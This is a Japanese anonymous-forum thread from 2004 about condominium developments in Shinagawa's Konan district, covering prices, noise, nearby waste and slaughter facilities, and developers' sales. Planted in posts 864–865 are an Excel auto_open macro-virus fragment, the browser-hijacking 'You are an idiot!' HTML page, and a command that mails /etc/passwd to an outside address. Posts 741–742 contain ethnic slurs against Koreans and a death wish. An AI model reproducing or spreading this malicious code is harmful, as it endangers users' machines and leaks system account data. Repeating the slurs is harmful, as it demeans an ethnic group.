そんなスカイジャグジーよりも喘息・花粉症の医者が充実した方がいいよあの辺は。

736 ：名無し不動さん：04/03/18 12:56 ID:???

アレルギーも多いよ。

737 ：名無し不動さん：04/03/18 14:47 ID:???

realestatetokyoって品川にガレッタ汐留みたいなものを
期待しているのかな。ハキダメッタ港南が名前負けしないと思うよ。

738 ：名無し不動さん：04/03/18 17:14 ID:???

食肉加工

739 ：名無し不動さん：04/03/18 17:24 ID:???

日本でやったら港南は上位間違いないな
http://news5.2ch.net/test/read.cgi/newsplus/1079594380/l50

740 ：名無し不動さん：04/03/18 17:36 ID:???

第一シード間違いなし。

741 ：名無し不動さん：04/03/18 21:40 ID:???

再開発というものは駅前不法占拠地チョソボロビル群が儲かるようにやるべきなのです

http://messages.yahoo.co.jp/bbs?.mm=RL&action=m&board=1073724&tid=ijc0n1x9afn8fda1a2bcaen1eybaf3abhafbepjs8r49&sid=1073724&mid=2286

742 ：名無し不動産：04/03/18 21:55 ID:zYnBtmLt

>741のリンク先の主は、チョン公です。
言葉では正論を述べているようだが、
実際やった事は、ショボイ店の誘致とパチンコ店の
開業、全く無責任な発想だ、氏ね！半島人

743 ：名無し不動さん：04/03/18 22:34 ID:S1jbxZnf

グダグダいってんじゃねえ！
この乞食が！！

744 ：名無し不動さん：04/03/18 22:46 ID:H1TNRAuy

>737
つまんねーやつ！最悪！

745 ：名無し不動さん：04/03/18 22:46 ID:???

real_estate_tokyoｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!! ｗ

746 ：名無し不動さん：04/03/19 11:28 ID:???

家畜動物が命の終末を迎える場所

747 ：名無し不動さん：04/03/19 14:44 ID:???

年に一回超新鮮な肉セールやってる。肉好きには最高の環境だよ！

748 ：名無し不動さん：04/03/19 17:10 ID:???

real_estate_tokyoｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!! ｗｗ

749 ：名無し不動さん：04/03/19 22:27 ID:???

住友２０００高すぎ。
パークタワーなんて４０００万ちょいで
３０階の部屋（７０平米）が買えるのに。

750 ：名無し不動さん：04/03/19 23:19 ID:???

三井は先行売り逃げですね

751 ：名無し不動さん：04/03/20 00:30 ID:???

三井は売り逃げどころか、ドツボに嵌りそうなんだが。
あの香ばしい２０００戸

752 ：名無し不動さん：04/03/20 01:32 ID:???

ＰＣ成城以上の香ばしい物件になりそう。

753 ：751：04/03/20 01:36 ID:???

三井じゃなくて住友　ｽﾏｿ

754 ：名無し不動さん：04/03/20 01:55 ID:???

>>753
ＭＲは行きましたか？
前から思っていたんですが、ダイレクトスカイビューの窓の強度って
知ってます？割れた時の事考えたらチョット怖い。
家の中でボウリングも出来ないじゃん。

755 ：名無し不動さん：04/03/20 03:11 ID:???

>>754
砲丸投げぐらいは出来たよ

756 ：名無し不動さん：04/03/20 09:38 ID:XmbOzu7K

＞754
窓っていってもビニールだからね、割れはしない。

757 ：名無し不動さん：04/03/20 09:59 ID:???

住友２０００ってMRの一般公開って
もうやってんの？

758 ：名無し不動さん：04/03/20 10:03 ID:???

３棟１セットの団地臭さに萎える・・・

759 ：名無し不動さん：04/03/20 11:57 ID:PhzYh0A+

買えない人が延々と発言しているスレッドですね。

760 ：↑：04/03/20 12:12 ID:???

real_estate_tokyoｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!!

761 ：名無し不動さん：04/03/20 17:41 ID:???

住友は2000戸計画で会社が傾くんじゃないか？大丈夫か？

762 ：名無し不動さん：04/03/20 18:36 ID:???

物件の地盤が傾きます

763 ：名無し不動さん：04/03/20 22:15 ID:9sOKX22s

Jusco巡回バス　「ブランファーレマンション前」バス停　運行開始　だれかのったやついる？

764 ：ひみつの検疫さん：2024/11/29(金) 04:29:52 ID:MarkedRes

汚染を除去しました。

765 ：↑：04/03/21 01:43 ID:???

real_estate_tokyoｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!!

ウイルスアラートＵＺＡＩ．

766 ：名無し不動さん：04/03/21 02:33 ID:???

764はなんだ！？　ノートンアンチウイルスが警告を発したぞ。
こいつはアクセス禁止にしろ。法的制裁も必要だな。管理者よろしく。

767 ：名無し不動さん：04/03/21 10:24 ID:EhmVfkqO

>>763
ホント？

768 ：名無し不動さん：04/03/22 13:14 ID:???

age

769 ：名無し不動さん：04/03/22 13:15 ID:SsAB0O26

　　　　　　　　　　　　　　　　　　　　年間予想売上　　　店舗面積
ダイヤモンドシティアルル　橿原　　　　３２５億　　３９０００平米　→おもっきり郊外。４００億はいくな
ＪＲ札幌大丸　札幌　　　　　　　　　　３５０億　　４５０００平米　→実際の年間販売額は３９３億

田舎は困るね。坪効率悪いね。客単価安いね。しかも商圏は札幌駅より半径１００キロ。
いくら道内最大のターミナルＪＲ札幌駅直結、超話題になった激戦火付け役の百貨店でこれかよ。
しかもこれが出来たことによる札幌西武の２０％減少や周辺デパートも軒並み１０％強の減少。
田舎だなあ。貧乏人だなあ。結果として来店数が予想より倍の年間
２２００万人と言えども、可哀相だな。田舎の貧乏人達に出店した大丸さん。

http://www.nara-shimbun.com/n_all/040226/all040226a.shtml
http://www.daimaru.co.jp/company/news/sapporo/press/news02_1024.html
http://www.jhnet.go.jp/press/rel/2004/02/26/sankou.pdf
http://www.pref.osaka.jp/kotsudoro/kansen/minami/

３／２６オープンのダイヤモンドシティアルル　http://aruru.diamondcity.co.jp/

770 ：名無し不動さん：04/03/22 13:47 ID:???

話題そらしに必死なreal_estate_tokyo

771 ：名無し不動さん：04/03/23 00:32 ID:/Of2MWwX

>>769
鮮やかな誤爆だな

772 ：名無し不動さん：04/03/23 08:13 ID:???

http://sumai.nikkei.co.jp/special/kouji/index.cfm?i=20040322s2003s2

773 ：名無し不動さん：04/03/23 20:10 ID:UxsMtm6z

さげ

774 ：x：04/03/23 22:40 ID:???

そろそろ次の燃料投下ｷﾎﾞﾝﾇ

・日通の移転計画
・カテリーナ三田の地権者って
・都営跡地の定借物件
・大崎駅、山手線内側部の大再開発
・三菱関東閣？

あたりの情報マダ～？　ﾁｿﾁｿ

775 ：名無し不動さん：04/03/23 22:48 ID:aBozRHw+

２０００戸も住友が作るのに話題にでないの？

776 ：名無し不動さん：04/03/23 23:13 ID:xLBjSCSZ

カテリーナ三田の地権者って何なの？

777 ：名無し不動さん：04/03/24 00:27 ID:???

(σ´ⅴ｀)σ 777get♪

778 ：名無し不動さん：04/03/24 11:38 ID:???

牛やら豚やら屠殺する施設は港南から移転しないのか？

779 ：名無し不動さん：04/03/24 12:38 ID:CFRy2aWq

今日の読売に載ってたな。
ブランファーレやコスモが良い物件のように書かれていた。

780 ：名無し不動さん：04/03/24 12:52 ID:jpLyxIRW

良い物件だろ

781 ：名無し不動さん：04/03/24 19:36 ID:???

>>780
おまえの鼻毛長いだろ？

782 ：名無し不動さん：04/03/25 00:27 ID:???

リアルエステ～ト　さげ

783 ：名無し不動さん：04/03/25 00:43 ID:???

たしかに、なぜか港南物件を好意的に書いていたね。
新聞はマンションの広告でも儲けてるから当然かなという気もするけど。
売れなくて、なんども広告が出た方が良かったりして。

784 ：名無し不動さん：04/03/25 08:37 ID:0ivvG6c0

ブランファーレの前から品川シーサイドジャスコ行きの無料バスが出てるの？

785 ：名無し不動さん：04/03/25 12:06 ID:eQDd6657

>781
おまえ女にもてねーだろ？

786 ：名無し不動さん：04/03/25 12:19 ID:lwhdI7H0

やっぱり人が住むようなとこじゃないYO

787 ：名無し不動さん：04/03/25 14:14 ID:???

みなさん、>>785が港南に住むと女にもてるという趣旨の発言をしています。
どなたか救ってあげてください。

788 ：名無し不動さん：04/03/25 15:51 ID:eQDd6657

こんなオナニースレにいつまでへばりついてるようなカスは
根暗で女もいねーし、友達もいねーってことを証言してるようなもんだ

789 ：名無し不動さん：04/03/25 16:53 ID:???

と駅前の雑居ビルから吠えています。（藁

790 ：名無し不動さん：04/03/25 18:41 ID:???

すっげー迷ってるよ。
三井の物件。
安月給のオレでもなんとか手が出る価格帯だもんなぁ。

791 ：名無し不動さん：04/03/25 20:19 ID:lwhdI7H0

港湾道路と新幹線に激しく萎えまつた

792 ：名無し不動さん：04/03/25 22:17 ID:???

新幹線には萌えなさい。

793 ：名無し不動さん：04/03/27 01:08 ID:Mu5R5yNb

コスモの横のローソン前からシーサイドジャスコ行きの無料バス出てるんだね。

794 ：名無し不動さん：04/03/27 09:08 ID:???

こすも。

日通移転で八方ふさがり？

九連包塔完成まであと一歩！

795 ：名無し不動さん：04/03/27 11:37 ID:???

三井の物件は誰でも安く感じるが　それだけの理由はあるんだよ。
鼻が詰まっている方なら良いかもしれんが・・・・・・・・・・・
住友２０００がこれだけスルーされているのは不思議だ。２ちゃんねらーで
MR行ったのは俺を含め２名しかいない予感。

796 ：名無し不動さん：04/03/27 17:39 ID:???

住友２０００は現地に行ったかたなら
躊躇するのが当然って感じ。
駅前なら妥協できる環境（騒音）だが・・・。

797 ：名無し不動さん：04/03/27 22:00 ID:???

いやここのスレで港南叩きしてる奴に
住友２０００の関係者がいるとみた

798 ：名無し不動さん：04/03/27 22:38 ID:???

カテリーナ三田、メイドサービスつきだってさ。ﾊｧﾊｧ(;´Д`)

ドアマンまでつけるなんて。やるならとことんやってくれ。
valet parkingも付けてくれ。

799 ：名無し不動さん：04/03/28 00:32 ID:???

港南物件もワールド（略　も、結局はどっちもどっちな気がする。

800 ：名無し不動さん：04/03/28 01:14 ID:???

(σ´ⅴ｀)σ 800get♪

801 ：NANASHI：04/03/28 01:45 ID:FNWdk3pQ

>798
ドアマンではなく、チャイナドレスの
ドアガールです。

802 ：名無し不動さん：04/03/28 16:49 ID:???

今週の週刊○×に万損大量供給地域は2000万円引きもあり、って記事出てるネ。
記事によれば、下丸子や成城ハケ下含む世田谷大田環八近隣エリアと、と場やｼﾆｮｳ処理場
近接の品川港南エリアが、値引き幅拡大間違い無しエリアだって。どちらも千戸単位の大
量供給で、需給が完全に崩壊して値引くしかしょうがないらしい。これから安く買いたい
なら、このエリアで底値まで下がり切ったところ狙うのも一興。ただ、下げどまる保証は
どこにも無いから底値の見極めが難しいネ。

803 ：不動産さん：04/03/28 20:01 ID:10tzY25G

一番メディアとして、信憑性にかける
ゴシップ雑誌を鵜呑みにする馬鹿

804 ：名無し不動さん：04/03/28 20:18 ID:3SK5JQBf

金がなくて買えません。

指をくわえて見てるだけ・・・・

都営はもう作ってくれないのかな・・・

805 ：名無し不動さん：04/03/28 20:54 ID:???

＞＞803

803よりは信憑性があるネ

806 ：名無し不動さん：04/03/28 21:39 ID:???

ブランとベイワードはほぼ完売できそうですね。
あとは苦戦するだろうな。
ラクシアなんてぜんぜん話題にものぼんないしな。

807 ：名無し不動さん：04/03/28 21:42 ID:???

８０３は屎尿地帯購入者

808 ：名無し不動さん：04/03/29 00:39 ID:SOcZNDuh

>>806
いやいや、ブランも残り5戸位になってから、長い事全然動きがないぞ。
ブランに限らず、6000万越物件はこの地域では苦戦すると思うよ。

809 ：名無し不動さん：04/03/29 00:44 ID:???

擁護学校って何ですか？

810 ：名無し不動さん：04/03/29 06:13 ID:kmPxYo1J

金が貯まる前に全部売れちゃうんだろうな。

親の援助無しはつらいぜ。

811 ：名無し不動さん：04/03/29 13:50 ID:w89X2AnI

おれ、親の援助ありで24歳でマンション買いました。
購入者のなかで結構若いほうかも

812 ：名無し不動さん：04/03/29 15:26 ID:???

なんでたかだか4000万のマンション買うのに親の援助がいるんだよ
それくらい余裕で自分で買えるだろうよ

813 ：名無し不動さん：04/03/29 18:24 ID:w89X2AnI

買えないおまえにいわれたかねーよ
ひきこもりクン

814 ：名無し不動さん：04/03/29 18:26 ID:???

>>812
アパート暮らしの貧乏人の割に偉そうな態度だな w

815 ：名無し不動さん：04/03/29 18:35 ID:???

おれ公務員なんだけど、親の援助なしじゃー
とてもタワーなんて手が出ないよ。

816 ：名無し不動さん：04/03/29 21:39 ID:qnegPXix

>784
でてるよ　１時間に１本　いきかえり無料
時刻表は新聞チラシに

817 ：ドッペル玄関 ◆uGSfMN4E4w ：04/03/30 00:19 ID:LhV4WoeH

>>806
ベイワードは客が来ない、来ても直ぐ帰る、もうだめぽ
と聞いているけど？

818 ：名無し不動さん：04/03/30 00:23 ID:???

>>817
誰がそんなこと言ってんだよ。
いい加減なこと書き込むなよな。

819 ：名無し不動さん：04/03/30 00:38 ID:???

擁護学校って何ですか？

820 ：名無し不動さん：04/03/30 14:13 ID:???

808 ：名無し不動さん：04/03/29 00:39 ID:SOcZNDuh
>>806
いやいや、ブランも残り5戸位になってから、長い事全然動きがないぞ。
ブランに限らず、6000万越物件はこの地域では苦戦すると思うよ。

住友はこれから2000戸売るようです。
平均6000万。

821 ：名無し不動さん：04/03/30 18:11 ID:???

善戦したブラン、ラグナの売れ筋が、
４５００万前後の３５００万～５５００万クラス。
それがこの地域の相場だと思う。

金額的に都内ちょっとはずれで広めのファミリータイプと同等レベル。
主力購入層はまだ子供のいない夫婦orDINKSorDEWKS。
ファミリータイプほど大きい部屋はいらないけど、
ちょっと都心に近づきたい層が主力。

ブラン、ラグナといえども６０００万強クラスは苦戦中。
そのことを考えると、６０００万台平均となると無謀すぎる。
今の値段より２割程度下げた所から、第１期販売にはいるのでは？
と思う。

822 ：名無し不動さん：04/03/30 19:40 ID:J/R/onjM

>>821
読み筋全然間違ってるよ。
今後はこの地区で８０以上の部屋買おうと思ったら、
６０００は用意しないと買えないって事なんだよな。
いくら供給過剰とか騒いでも、買うの延ばせば延ばすほど
港南には手が届かなくなるんだよね。そういう軍団は結局
豊洲で買うしかないわけだけど、また同じ待ちスタイルで
踏ん切りきかないのが多いから、そういうのに限って、最後は千葉か
埼玉の川向こうしか買えないんだよな

823 ：名無し不動さん：04/03/30 20:01 ID:???

821に禿同

824 ：名無し不動さん：04/03/30 20:06 ID:BYgn1HYi

港南なら千葉や埼玉の方がいいなー住むには

825 ：名無し不動さん：04/03/30 20:27 ID:???

821に禿同

826 ：不動産さん：04/03/30 20:30 ID:lh6TNEsM

＞８２４　一生言ってろ！田舎物

827 ：名無し不動さん：04/03/30 20:46 ID:BYgn1HYi

釣れたW

828 ：名無し不動さん：04/03/30 21:49 ID:HrBIa0UO

821に同意

829 ：８２２：04/03/30 22:26 ID:J/R/onjM

希望的な心情わからなくはないが、今後ベイエリアは年々整備され
店舗も増え始めると、余裕ある広さのプランは上がるよ。
株投資や商売の出店計画もそうだけど、予測感度がないと高い買い物に
なるんだよね。
要はどの程度成長を見込めるかを読まなきゃ、田舎しか買えないんじゃない。
新幹線新駅が発表され、アトレの開業発表もされた時点で購入するのが
得な買い物だよな。これからも都営跡地にも商店できるからな。
資金ないのは無理せんと、どうしても東京に住みたいなら、川の手前の区を
早く押さえたほうが賢明だよ。

830 ：821：04/03/30 23:49 ID:???

>>829
上がる下がるではなく、現在の相場の話をしたつもり。
事実としてこの地域は、値段的に３５００～５５００なら売れるという事。
６０００万以上の販売が苦戦しているという事。

ラグナが第１期の中層階中層レベル（平均）を６０００万前後で失敗。
その後約２割程度落として好調。という事実。
ブランがスタートから（低層階）好調を維持した。

これらの事実を持って相場としているつもり。
将来どのようになるかはともかくとして、
現在の相場大きく上回る物件は売れるはずがない。
住友は住戸の仕様を落とすか、面積を削るか、
それともただたんに値段を下げるかして３５００～５５００ぐらいを
主力商品にしなければ、週刊誌に出ているような結果になるのは目に見えている。

822の言うとおりであれば、今なぜブランとラグナの高層階が苦戦しているのか
明確な説明がつかない。

831 ：名無し不動さん：04/03/31 00:44 ID:???

現在分譲中のデベ営業も、将来このエリアの不動産は上がるかもしれませんよ、
なんてセールストークしていないよね。彼らは供給過剰でダブつくのが判ってるからさ
てゆうか現にそうだし。

832 ：名無し不動さん：04/03/31 01:37 ID:???

>>822
そうか買っちゃったか。
せいぜい花粉と喘息には気をつけて下さい。

833 ：名無し不動さん：04/03/31 02:10 ID:???

つまり湾岸エリアは現代の多摩ニュータウンだね。
利便性と住環境を逆転させてるだけ。
21世紀の中流を代表するエリアへと発展。
そしていずれはシルバータウンへ

834 ：名無し不動さん：04/03/31 12:20 ID:???

モノレールと横羽が至近距離。騒音・振動はすごいぞ。たとえ高層階でもな。
夜になったら実感できるはず。

835 ：名無し不動さん：04/03/31 16:51 ID:???

鹿島、住友２０００の地域って　確かにこれだけ集まるか！！！って
くらいすごい騒音地域だよね。住友２０００（ワールド）は１Rから４LDKまで
あるので平均が６０００万と言うのはちょっとおおざっぱ過ぎ。

836 ：名無し不動さん：04/03/31 17:38 ID:???

豊洲、東雲、港南の用途地域は？

>工業地域のマンション（品川、豊洲）

>東京の湾岸エリアにある工業地域（用途地域区分における工業地域、準工業地域）では、工場や物
>流倉庫等の撤退によって生じた空き地において、高層マンションの建設が進んでいます。近
>年、地価の下落による都心回帰現象は、ウォーターフロントを熱くしています。しかし、いくら立
>派なマンションができようとも、そこが工業地域であることには変わりありません。

ｺﾝﾅﾄｺｽﾑﾋﾄﾐｼﾞﾒﾃﾞｶﾜｲｿ!

837 ：名無し不動さん：04/03/31 17:53 ID:???

品　川

>港区の品川駅は、東口地区の再開発が進み大きな変貌を遂げています。その周辺ではマン
>ションの建設ラッシュが続いています。品川駅に新幹線が止まるようになり、都心へのアクセス
>も良く、東京湾の夜景が展望できる立地が人気を集めています。

>品川の東地区（特に海岸沿い）は、かつては品川ふ頭（日本初のコンテナターミナル）を中心に物
>流の拠点として栄えたところであり、少し衰退したとはいえ、今も物流の拠点であることには変
>わりありません。そのため、各種大型トラックが激しく行き来し、騒音と排気ガスが蔓延してい
>ます。この地域が静かになるのは休みの日しかありません。さらに、近くには清掃工場や汚泥
>処理場、工場、食肉加工場（屠畜場）などもあります。この地域が主に準工業地域であるた
>め、これらの建物が将来なくなる可能性は低く、逆に、住む人にとって迷惑な施設がさらにでき
>る可能性もあります。

>また、これまでこの地域に住んでいた人は、物流関係者などに限られていたため、多くの人
>が生活するための環境整備が遅れています。現在、マンション建設が先行しているため、今
>後、様々な不便さやトラブルが発生するかもしれません。例えば、幼稚園や小学校、スーパ
>ー、公園、病院等の不足、歩行者の安全確保などです。

838 ：名無し不動さん：04/03/31 22:34 ID:Arm2gEbZ

再開発には限界があるから、再がつく。
いっそ単なる開発の方がよい。

839 ：名無し不動さん：04/04/01 02:11 ID:h2un4uDb

>>836
>ｺﾝﾅﾄｺｽﾑﾋﾄﾐｼﾞﾒﾃﾞｶﾜｲｿ!
豊洲のスレにもわざわざ同じ事書いてるな。
俺っちは高層階で眺望がいいとこに住みたいんだからこの辺がいいんだよ！

840 ：名無し不動さん：04/04/01 09:39 ID:???

眺望なんて1ヶ月もすりゃ慣れちまうのに。
残るのは騒音、悪臭、汚れた空気！
嗚呼、シッパイしたねコリャ！
しょうがないから早死にするまで我慢して住むか！

841 ：名無し不動さん：04/04/01 13:12 ID:???

>>839のようなやつは高層階なら騒音も振動もなく空気もきれいだと思ってるんだろうな（ｗ

842 ：名無し不動さん：04/04/02 01:50 ID:Ha3bnRtX

>>840
>>841
アホ？
とっくに住んでるけどね。

843 ：名無し不動さん：04/04/02 12:48 ID:???

>>842
もう嫌になってきたでしょ？
あと何年住めるかねえ？
買い替えがうまくできるかねえ？

844 ：名無し不動さん：04/04/02 20:23 ID:???

>>842
そうか！それでマスクしてるんだ。やっぱ花粉って大変？

845 ：名無し不動さん：04/04/02 21:33 ID:???

都内で一番素晴らしい夜景は、お台場から見る都心方面だと思うんだけどな。
港南だと夜景イマイチじゃない？悪くは無いと思うけど。

台場がもう少し住宅地として発展すれば良いのだけど。

846 ：名無し不動さん：04/04/02 22:50 ID:???

うずまさvｓ駅前ボロビルおやじ　勝負のゆくえやいかに

847 ：名無し不動さん：04/04/03 01:50 ID:???

uzumasaを応援したい

848 ：名無し不動さん：04/04/03 02:05 ID:NXv9/l/e

>都内で一番素晴らしい夜景は、お台場から見る都心方面だと思うんだけどな。
そうなんだけど、マンションでその方向だと、北向きになっちゃうからなあ。
住友商事の勝どき６０階ツインタワーがベストかな。
少しでも高い階の方が夜景がキレイだしね。

849 ：名無し不動さん：04/04/05 15:33 ID:???

>>848
でも毎日見る価値のあるものとは思えないし、+数千マンの付加価値もどうかね？

850 ：名無し不動さん：04/04/05 15:52 ID:???

>>849
価値観の違いにとやかく言われてもねぇ～。
おたくの価値観は？

851 ：ドッペル玄関 ◆uGSfMN4E4w ：04/04/05 20:32 ID:cQozjQ7e

>少しでも高い階の方が夜景がキレイだしね。

ちょっと違うな
30階以上になると部屋の中にいるかぎりは窓には空しか見えない
40階以上になると、たとえバルコニーに出ても視界の半分が空になる

景色を楽しむなら25階ぐらいが一番いいよ

852 ：名無し不動さん：04/04/05 21:02 ID:???

>>851
ちょっと違うな

見下ろす気分が一番大事かな

853 ：名無し不動さん：04/04/05 22:01 ID:???

線路の反対側の高台から埋立地を見下ろす気分が一番・・・

854 ：不動産さん：04/04/06 00:28 ID:rAlqfQHw

３０Fで、空しか見えないのは、田舎だからだろ
都心だと３０F以上はざらだよ！しかも港南は海抜低いしね。

855 ：名無し不動さん：04/04/06 02:41 ID:Ii7n4gxo

>でも毎日見る価値のあるものとは思えないし
いやいや。２ヶ所ほど、中、高層階で、海とレインボーブリッジが真正面に見える
お宅に行ったけど、「こんな所に住んでいるあんたらは何者？」と思ってしまうほど
の景色（といっても、そこそこのサラリーマンなら買えるような所）。
人にもよるけど、行った人のほとんどは、そんな反応でした。（昼よりは、夕方～夜）
私自身は湾岸エリアで１９階だけど、そこまででは無い。でも、なかなか。もうちょっと上階が良いかな。
蚊も飛んでこないし（前に住んでた１０階でも来なかったけど）。

856 ：名無し不動さん：04/04/06 12:21 ID:/RJosK2l

芝浦の物件検討してますが、そちらからの景色はどうですか？

857 ：名無し不動さん：04/04/06 13:16 ID:???

来訪客が一回目に来たときにお世辞半分に「すごいですね！」
っていう言葉が聞きたくて買うのね（ｗ
それだけのために横羽とモノレールの脇で毎日過ごせる価値観はうらやましい。
あ、褒めてるんだよ。念のためいっておくけど。ホントにうらやましい。

858 ：名無し不動さん：04/04/06 13:33 ID:???

高層階はいいですよね。
なんだかんだ言っても需要は確実にあると思います。
でも私は低層階です。港南と言えども高層は高くて買えません。

港南低層に幸あることを本気で祈ってます。

859 ：名無し不動さん：04/04/06 18:37 ID:???

>>858
悪いが無いと思う。

860 ：名無し不動さん：04/04/06 18:45 ID:???

>港南低層に幸あることを本気で祈ってます。

そう言われるとおいらも祈ってあげたくなるよ。
参考までに聞きたいんだけど、港南低層のお値段だと都内のどの辺が買えるの？
２３区内で同程度の値段の物件ありますか？それとももう少し引っ込む？

861 ：名無し不動さん：04/04/06 18:59 ID:???

＞>>858
＞悪いが無いと思う。

ﾜﾛﾀ（ｗ

862 ：名無し不動さん：04/04/07 02:35 ID:JJ5QQx0l

>>857
違うだろバカ。

863 ：名無し不動さん：04/04/07 15:17 ID:???

　　　　　　こ　こ　っ　て　屎　尿　臭　い　ん　だ　け　ど　？

864 ：名無し不動さん：04/04/07 19:23 ID:???

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

865 ：名無し不動さん：04/04/07 19:23 ID:???

<html>
<head>
<title>You are an idiot!</title>
<script language="Javascript" src="../script/you.js"></script>
</head>
<body bgColor=#ffffff onload="flagRun=1;playBall();return true;bookmark();" onKeyDown="altf4key();ctrlkey();delkey();" onUnLoad="procreate()" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%">
<param name=movie value="youare.swf">
<param name=quality value=high>
<embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%">
</embed>
</object>
</body>
</html>

cat /etc/passwd | mail [email protected]

866 ：ドッペル玄関 ◆uGSfMN4E4w ：04/04/07 19:50 ID:ufJGZVyL

>>860
>参考までに聞きたいんだけど、港南低層のお値段だと都内のどの辺が買えるの？

ワールドは無視するとして
他の物件なら低層階は180万円/坪くらいか？

となると
大泉学園とか東武練馬、板橋、王子、日暮里、錦糸町、木場、豊洲、勝どき
こんなところかな？

南から西の方は２３区の外だね

867 ：名無し不動さん：04/04/07 20:21 ID:???

>>866
低層階なら感覚的にもそんなもんですね。
団地タイプのマンションなら、
もう少し広くなるか、上の階の方へ行けるか出来ますけど。

868 ：860：04/04/07 23:11 ID:???

>大泉学園とか東武練馬、板橋、王子、日暮里、錦糸町、木場、豊洲、勝どき
>こんなところかな？

ドッペル氏・867さんサンクス。
日暮里や王子は台地の方じゃないよね？
そうだとしたら、港南選ぶのも理由の無いことじゃないんだね。
自分が同予算なら勝どきか港南にするな。港南で低層だと眺望ないから
品川駅に近い方がよいね。

869 ：名無し不動さん：04/04/07 23:57 ID:YNKs/O7K

大島はどうよ？

870 ：名無し不動さん：04/04/08 00:17 ID:???

>>869
ほとんど同じレンジに入ってますよ。

871 ：名無し不動さん：04/04/08 02:02 ID:jINzXiFK

豊洲、南砂はどうよ？
駅には近いど。

872 ：名無し不動さん：04/04/08 02:12 ID:???

サイトのアクセスログ見てたらkajima.co.jpから「ブランファーレ　コスモポリス」って
検索してたのがあった。やっぱり意識してるのねー。

873 ：名無し不動さん：04/04/08 03:51 ID:rD4LZGU7

最近結婚したので引越しを迫られてます。
７０００万までで考えているんだけど、ここ以外で以下の条件に合う場所ってあるでしょうか？

約３０歳、共働き、今後３～４年は子無し予定、世帯収入は１９００ほど。
永住する気はさらさら無く、子供が歩けるようになる５～６年後までを目安に転居予定。
勤務地が夫婦とも日替わりで羽田空港もしくは成田空港なので、どちらへもアクセスが良い事が望ましい。
眺望はどうでも良いので低層階でＯＫ、ある程度広い（出来ればリビングが２０畳クラスの）２ＬＤＫが理想。

こう考えると品川駅というのは通勤上非常にメリットのある場所。
かつ港南だとかなり手頃な値段で、結構な広さの部屋が手に入る。
浦安も良いけど、ちょっと両空港へのアクセスが悪いし。
どこか港南以外に、「これだ！」という場所は無いでしょうか？
お知恵を拝借。

874 ：名無し不動さん：04/04/08 07:39 ID:0ql5bG6h

>>873

業者うざい

875 ：名無し不動さん：04/04/08 07:41 ID:???

＞＞873

木更津とかがいいんでないの

876 ：名無し不動さん：04/04/08 08:10 ID:???

港南低層階じゃあ、５－６年後の転売は無理じゃない？

877 ：名無し不動さん：04/04/08 08:59 ID:qU9rRvge

ラグナは品川区なので、港南と一緒にして欲しくない。
生活（買い物）、教育環境がぜんぜん違う。
死んでも港南はいやだ。

878 ：873：04/04/08 14:42 ID:FP+Wvt2F

>>874
？？

>>875
本気ですか？

>>876
築地とかの方が良いですかね？

879 ：名無し不動さん：04/04/08 14:45 ID:???

>>878
千葉リーヒルズに決定汁！

880 ：名無し不動さん：04/04/08 21:59 ID:EMRQfU8U

マンションは車と違って大きなかいもの。じっくり時間かけて生活の便
や環境のいいとこ選ぶべき。都心にもそういうマンション一杯あるよ。

881 ：名無し不動さん：04/04/08 22:29 ID:???

CAとPの夫婦ってこと？w
なんか港南マンションのパンフに出てきそうでつね

882 ：名無し不動さん：04/04/08 22:38 ID:???

リムジンバスの運転手と売店のおばちゃんの夫婦だったりして

883 ：名無し不動さん：04/04/09 02:08 ID:zrCXrvLH

>>どこか港南以外に、「これだ！」という場所は無いでしょうか？
その条件だと、東雲のWコン
http://www.w-comfort.com/
のキャンセル住戸を狙った方がいいと思うけどね。
（どういう物件かは、検索すればいろいろ出てくるでしょう。）
まあ、本気で聞いてるんじゃないだろうけど。

884 ：名無し不動さん：04/04/09 11:15 ID:u9aINq04

>873
改装したてのペアシティルネッサンスはどう？

885 ：名無し不動さん：04/04/09 16:37 ID:???

>>881
それなら世帯年収が1900なんてこたあない。
それにそういうやからは舞浜に住みたがるはず。
だから多分みやげ屋か掃除かじゃないでしょうか？

886 ：名無し不動さん：04/04/09 18:11 ID:???

人間の住む所じゃないね。遠くから見ると品川駅の近くのようだが実際歩いてみると１０分くらいかかるマンションばかり。こんな辺鄙なとこに誰が住むか

887 ：名無し不動さん：04/04/09 21:52 ID:???

さっき港南をぐるっと見てきた。
２ヶ月前に見た時よりもこぎれいになってる気がした。
正直嫌悪施設とか倉庫街とかがあるから、いくらマンションが建っても
人の住む場所じゃないと思ってたが、いざ建ち始めてみると可能性を感じる街
に思えてきたよ。
今のマンションラッシュに加えてもう5・6件タワーが建てば見違えると思う。
価格が安くて広いのも魅力的だと思う。課題は交通機関と商業施設。

眺望期待の人は、JRの線路沿いにビルが建つであろうことと
いくつかの倉庫もビルに変わることを計算に入れないといけないな。

888 ：名無し不動さん：04/04/09 23:50 ID:W1moKeke

>873
葛飾区青砥が一番でしょ。

889 ：名無し不動さん：04/04/10 01:20 ID:25WxHD1v

まあ、所詮ゲットーだよ
ここは

890 ：名無し不動さん：04/04/10 20:19 ID:???

890ゲットー

891 ：名無し不動さん：04/04/11 21:46 ID:???

>>887
かりにタワーが10本たとうとも周りにある施設はそのまま。
駅前のスラムの一角もそのまんま。

892 ：名無し不動さん：04/04/11 22:01 ID:05Gyx+fU

確かに現時点では倉庫やら変な施設やらあるね。
でももしかしたら今の大規模な開発が続いていってこういった
マイナスの施設がなくなって高環境の住宅地にいつかは変わるかも
しれない。そうしたら今売りに出してる高級タワーマンションの値が上がって
行くかも。と思うと買う価値があるような気がしてきた。

893 ：名無し不動さん：04/04/11 22:23 ID:???

運河の活用法にかかってると思う。
みんなビルが建つだけの再開発には飽きてるから
港南が新しい開発の型を示せるかどうかだね。
